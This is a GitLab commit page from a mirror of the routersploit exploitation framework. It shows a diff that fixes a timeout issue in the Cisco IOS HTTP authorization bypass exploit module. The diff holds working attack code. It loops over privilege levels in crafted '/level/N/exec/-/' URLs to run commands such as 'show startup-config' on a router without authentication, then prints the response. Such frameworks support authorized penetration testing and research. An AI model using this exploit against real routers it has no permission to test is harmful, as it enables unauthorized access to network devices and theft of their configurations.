Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
7d7a2ce7
Commit
7d7a2ce7
authored
Apr 23, 2017
by
Marcin Bury
Committed by
Mariusz Kupidura
Apr 23, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing Timeout issue - Cisco IOS HTTP Auth Bypass (#241)
* Fixing Timeout issue * Fixing style issues
parent
fd77312e
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
14 additions
and
10 deletions
+14
-10
ios_http_authorization_bypass.py
...t/modules/exploits/cisco/ios_http_authorization_bypass.py
+14
-10
No files found.
routersploit/modules/exploits/cisco/ios_http_authorization_bypass.py
View file @
7d7a2ce7
...
...
@@ -39,16 +39,6 @@ class Exploit(exploits.Exploit):
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
access_level
=
None
@mute
def
check
(
self
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
not
None
and
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
self
.
access_level
=
num
return
True
# target is vulnerable
return
False
# target is not vulnerable
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
...
...
@@ -62,3 +52,17 @@ class Exploit(exploits.Exploit):
print_info
(
re
.
sub
(
'<[^<]+?>'
,
''
,
response
.
text
))
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
@mute
def
check
(
self
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
# target does not respond
break
if
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
self
.
access_level
=
num
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment